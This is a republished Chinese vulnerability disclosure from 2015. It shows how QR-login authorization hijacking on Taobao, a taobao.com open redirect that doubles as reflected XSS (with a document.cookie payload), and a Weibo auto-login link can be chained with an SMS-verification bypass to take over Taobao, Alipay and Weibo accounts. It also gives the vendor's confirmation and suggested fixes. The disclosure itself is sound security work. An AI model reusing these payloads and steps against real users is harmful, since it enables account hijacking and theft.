微博上点开我发的链接我就可登进你的淘宝支付宝和微博可盗号可挂马(poc中附若干从洞

华盟原创文章投稿奖励计划

漏洞详情

披露状态:

2015-03-04: 该漏洞正等待厂商内部评估
2015-03-05: 厂商已经确认,与白帽子共同解决该漏洞中,漏洞信息仅向厂商公开
2015-03-25: 细节向核心白帽子及相关领域专家公开
2015-04-04: 细节向普通白帽子公开
2015-04-14: 细节向实习白帽子公开
2015-04-24: 细节向公众公开

简要描述:

微博上点开我发的新闻,我就进了你的淘宝支付宝和微博,从此我就对你的人生多了几分了解。利用过程中还利用了两个其他漏洞,一个是跳转漏洞(也可以是绕过xss filter的反射xss),一个是异常登录短信或动态口令认证的绕过,就在这一并提交了

详细说明:

漏洞一、淘宝的二维码扫描登录功能存在劫持漏洞

用户登陆的二维码,格式如下:

code 区域
http://ma.taobao.com/rl/ebc9d0e7d1af2fd18e7aee1ed1f8ebbd

用户用手机扫描后,会在登录状态下去访问一个请求来给此二维码的值授权,然后需要用户点击确认,然后完成授权。这时浏览器端的会用授权后的参数去服务端获取登陆凭证,然后来登陆

但是,扫描后的用户确认页无意义,因为最终的授权请求格式如下:

code 区域
post: http://login.m.taobao.com/qrcodeLoginAuthor.do?qr_t=s
参数为shortURL,值为上面的二维码的值 http://ma.taobao.com/rl/ebc9d0e7d1af2fd18e7aee1ed1f8ebbd

这里面的所有参数都是可猜测的,未加token保护。攻击者可以把shortUR参数换成他的二维码中的shortUR,然后直接欺骗登录用户去点击完成授权

我们可以获取到最终的登陆凭证格式如下:

code 区域
https://login.taobao.com/member/loginByIm.do?uid=cntaobaousername&token=0104de9b4363476712b9597780a70a00&time=1425148510364&asker=qrcodelogin&ask_version=1.0.0&defaulturl=http%3A%2F%2Fwww.taobao.com%2F&webpas=1b04fa6f6901df787ce9da8848d1a23d2121730000

经测试发现,不管是用户登陆的是web版还是移动端淘宝,都可对此请求完成授权

就是说,只要用户在登陆状态下,不管是电脑还是移动端,只要点了我的链接,我就能用它的身份登陆淘宝了

漏洞二、互联网的便捷扩大了危害

很多人的淘宝是未登陆状态的,而且我没法直接对话那么多登陆了淘宝的用户,所以看起来只能搞搞熟人或是买家卖家

怎样和跟多的淘宝用户互动呢?我扶了扶镜框,发现微博上很多用户都绑定了淘宝账号。而且,即使你没登陆淘宝,微博的某些功能可以帮你自动登陆淘宝

如果你绑定了淘宝,你在微博或客户端微博上访问

code 区域
http://api.weibo.com/t_short_url?outUrl=http://www.taobao.com

浏览器会帮你自动登陆淘宝,所以思路就有了,让用户先自动登陆淘宝,再去访问我们的攻击请求

但由于此请求不让被iframe,所以我只能通过taobao.com域的跳转漏洞来让用户在登陆后再去访问我们的攻击请求

哪有跳转漏洞呢?我扶了扶镜框,果然发现了一个:

code 区域
http://www.taobao.com/webww/redirect.htm?ssshttp://www.baidu.com?

当然,你看它的漏洞原理的话,它还可以是一个反射的xss,浏览器的xssfilter对它无效

漏洞出在js的跳转里,未对跳转目标进行校验

code 区域
http://www.taobao.com/webww/redirect.htm?sssjavascript:alert(document.cookie);//

这样,只要在微博上发这样一个请求

code 区域
http://api.weibo.com/t_short_url?outUrl=http://www.taobao.com/webww/redirect.htm?ssshttp://***********/tm.php?

用户点击后就相当于登陆了淘宝,又扫了我们的二维码了

漏洞三、绕过异常登录的短信认证或动态口令认证

我们拿到用户授权,去服务端获取完凭证后,用如下格式的链接去访问

code 区域
https://login.taobao.com/member/loginByIm.do?uid=cntaobaousername&token=0104de9b4363476712b9597780a70a00&time=1425148510364&asker=qrcodelogin&ask_version=1.0.0&defaulturl=http%3A%2F%2Fwww.taobao.com%2F&webpas=1b04fa6f6901df787ce9da8848d1a23d2121730000

会发现,除了同城的一些用户,大部分用户的访问都被识别成异常登陆了,会弹出个短信或者动态口令认证

通过改IP等方式,可以偶尔绕过一些,但成功率不高

怎么才能完美绕过呢?我扶了扶镜框,发现了一个方法

在阿里旺旺里,也有个内嵌页面的自动登陆,格式如下:

code 区域
http://login.taobao.com/member/loginByIm.do?_input_charset=utf-8&uid=cntaobaousernam&token=9d01ce33876e184b04d2ec03378fd134&act=SignIn&time=1425384138614&fromInnerIE=1&asker=AliIM&asker_version=8.00.43C&defaulturl=http%3a%2f%2fteam.taobao.com%2fphoneapp3%2fspread_and_home_page.htm%3fver%3d8.00.43C%26msgid%3d0%26uid%3dcntaobaousername%26cssname%3ddefault&webpas=cntaobaousernam---5494c4032a24c4e20c9ba758c889fe9d1523497202---

把我们的凭证里的几个主要参数,替换到这个请求中,也可以完成登陆,而且绕过了短信认证,我测试了,是100%的绕过

具体是哪个参数影响的,我没细看,应该是defaulturl和fromInnerIE此类的

四、登陆进淘宝后,可以直接访问支付宝,还可以直接自动登陆用户的微博

所以说账号打通后,只会降低双方的安全性。因为你们同时不出事的概率小了点

漏洞证明:

需要测试的poc可以联系我

证明的截图和视频如下:

其他用户的淘宝:

 

微博上点开我发的链接我就可登进你的淘宝支付宝和微博可盗号可挂马(poc中附若干从洞 

 

 

短信认证

 

微博上点开我发的链接我就可登进你的淘宝支付宝和微博可盗号可挂马(poc中附若干从洞 

绕过后

微博上点开我发的链接我就可登进你的淘宝支付宝和微博可盗号可挂马(poc中附若干从洞 

微博上点开我发的链接我就可登进你的淘宝支付宝和微博可盗号可挂马(poc中附若干从洞

 

微博上点开我发的链接我就可登进你的淘宝支付宝和微博可盗号可挂马(poc中附若干从洞 

微博上点开我发的链接我就可登进你的淘宝支付宝和微博可盗号可挂马(poc中附若干从洞 

微博上点开我发的链接我就可登进你的淘宝支付宝和微博可盗号可挂马(poc中附若干从洞 

修复方案:

1、扫描二维码后的确认请求,加token保护

2、js跳转需要校验目标

3、认证风控策略要统一,不要留一些弱策略的口子,不要有短板

版权声明:转载请注明来源 呆子不开口@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-05 13:38

厂商回复:

漏洞已确认真实存在,并已安排人处理。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈

 

原文地址:https://exploits.77169.com/2015/20150424151105.shtm

本文原创,作者:华盟君,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/22861.html

发表评论